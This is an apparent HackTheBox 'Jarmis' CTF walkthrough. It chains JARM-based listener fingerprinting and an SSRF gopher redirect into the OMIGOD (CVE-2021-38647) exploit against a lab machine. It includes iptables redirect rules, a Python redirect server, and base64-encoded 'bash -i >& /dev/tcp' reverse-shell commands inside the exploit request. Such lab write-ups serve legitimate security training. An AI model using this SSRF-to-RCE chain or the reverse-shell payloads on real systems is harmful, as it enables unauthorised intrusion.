HackTheBox Jarmis Writeup
Explore the fundamentals of cybersecurity in the Jarmis Capture The Flag (CTF) challenge, a hard-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.
Add Hosts
10.10.11.117 jarmis.htb
Script to add hosts automatically
ip="10.10.11.117"
domain="jarmis.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts
Mapping
nmap -sCV jarmis.htb -Pn
Nmap scan report for jarmis.htb (10.10.11.117)
Host is up (0.071s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
| 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Jarmis
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
dirb http://jarmis.htb/
- API Information: http://jarmis.htb/openapi.json
- Swagger UI: http://jarmis.htb/docs
Iterate over all ids and filter malicious ones
for id in {1..300}; do
curl -s -X 'GET' \
"http://jarmis.htb/api/v1/search/id/$id" \
-H 'accept: application/json' | jq 'select(.ismalicious == true)'
done
If you are on Arch Linux, install nmap-netcat, which includes the -ssl option (unlike the simpler gnu-netcat):
sudo nc -lvnp 443 --ssl
Navigate to http://jarmis.htb/ and select Fetch Jarm. Input https://<vpn-ip>, which will display the message:
"note": "Ncat?"
Now, let’s use Metasploit to listen:
sudo msfconsole -x "use auxiliary/server/capture/http; set srvport 443; set SSL true; run"
Run the command above, then resend https://<vpn-ip> in the Fetch Jarm section.
You should receive the response:
"note": "Metasploit?"
Routing 8443 to 443 for Connection Back
Flush Existing Rules:
sudo iptables -t nat -FRedirect Traffic:
sudo iptables -I PREROUTING -t nat -p tcp --dport 443 -d <vpn-ip> -m statistic --mode nth --every 11 --packet 10 -j REDIRECT --to-port 8443Start Listeners:
- Start a listener on port 443:
sudo nc -lvnp 443 --ssl - Start a listener on port 8443:
sudo nc -lvnp 8443 --ssl
- Start a listener on port 443:
Fetch Jarm: Navigate to Fetch Jarm and input
https://<vpn-ip>.
You will receive a GET request on port 8443. With this setup, you can send the OMIgod payload through that channel.
Local Open Ports
ffuf -u 'http://jarmis.htb/api/v1/fetch?endpoint=http://localhost:FUZZ' -w <(seq 1 65535) -fs 109
22 [Status: 200, Size: 117, Words: 1, Lines: 1, Duration: 223ms]
80 [Status: 200, Size: 117, Words: 1, Lines: 1, Duration: 135ms]
5986 [Status: 200, Size: 119, Words: 1, Lines: 1, Duration: 199ms]
8001 [Status: 200, Size: 119, Words: 1, Lines: 1, Duration: 466ms]
SSRF Omigod Using Gopher
The exploit can be found at https://github.com/horizon3ai/CVE-2021-38647/blob/main/omigod.py.
Using Gopher allows for directly embedding headers in the URL, making it easier to weaponize and bypass restrictions.
- First, run Burp Suite on port 8080 (default).
- Intercept the OMIgod payload packet by configuring the OMIgod exploit to route through Burp Suite.
wget https://raw.githubusercontent.com/horizon3ai/CVE-2021-38647/refs/heads/main/omigod.py
sed -i "s/, verify=False/, verify=False, proxies={'https':'http:\/\/localhost:8080'}/" omigod.py
ip=$(ip a | grep -A 2 "tun0:" | grep -oP '(?<=inet\s)\d+(\.\d+){3}')
python3 omigod.py -t "$ip" -c "echo -n $(echo -n "bash -i >& /dev/tcp/$ip/9001 0>&1" | base64 -w 0) | base64 -d | bash"
rm -rf omigod.py
OMIGOD payload intercepted through Burp Suite.
POST /wsman HTTP/1.1
Host: 10.10.14.8:5986
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Content-Type: application/soap+xml;charset=UTF-8
Content-Length: 1728
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema">
<s:Header>
<a:To>HTTP://192.168.1.1:5986/wsman/</a:To>
<w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>
<a:ReplyTo>
<a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
</a:ReplyTo>
<a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteShellCommand</a:Action>
<w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize>
<a:MessageID>uuid:0AB58087-C2C3-0005-0000-000000010000</a:MessageID>
<w:OperationTimeout>PT1M30S</w:OperationTimeout>
<w:Locale xml:lang="en-us" s:mustUnderstand="false" />
<p:DataLocale xml:lang="en-us" s:mustUnderstand="false" />
<w:OptionSet s:mustUnderstand="true" />
<w:SelectorSet>
<w:Selector Name="__cimnamespace">root/scx</w:Selector>
</w:SelectorSet>
</s:Header>
<s:Body>
<p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
<p:command>echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC44LzkwMDEgMD4mMQ== | base64 -d | bash</p:command>
<p:timeout>0</p:timeout>
</p:ExecuteShellCommand_INPUT>
</s:Body>
</s:Envelope>
Flush the existing iptables rules and redirect traffic:
sudo iptables -t nat -F
sudo iptables -I PREROUTING -t nat -p tcp --dport 443 -d <vpn-ip> -m statistic --mode nth --every 11 --packet 10 -j REDIRECT --to-port 8443
sudo nc -lvnp 443 --ssl
Start a listener on a different port:
nc -lvnp 9001
Python Server to Send the OMIGOD Payload:
In the intercepted Burp payload:
- Increment the
Content-Lengthby 2, as this is a requirement for Gopher requests. - Select all, right-click, and choose Convert Selection > URL > URL Encode All Chars.
- Change
omigod-payloadin the Python server below:
#!/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
import os
import subprocess
key_path = '/tmp/key.pem'
cert_path = '/tmp/cert.pem'
if not os.path.exists(key_path) or not os.path.exists(cert_path):
subprocess.run(['openssl', 'req', '-x509', '-newkey', 'rsa:4096', '-keyout', key_path, '-out', cert_path, '-days', '365', '-nodes'])
payload = '<omigod-payload>'
class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET request received")
self.send_response(301)
self.send_header("Location", f"gopher://127.0.0.1:5985/_{payload}" + '%0d%0a')
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(certfile=cert_path, keyfile=key_path)
httpd = HTTPServer(('0.0.0.0', 8443), MainHandler)
httpd.socket = context.wrap_socket(httpd.socket, server_side=True)
print("Serving on https://0.0.0.0:8443")
httpd.serve_forever()
Run the following commands to get a shell:
nano rce
chmod +x rce
./rce
Navigate to http://jarmis.htb/ and select Fetch Jarm. Input https://<vpn-ip>.
Finally, read the flags:
cat /home/htb/user.txt
cat /root/root.txt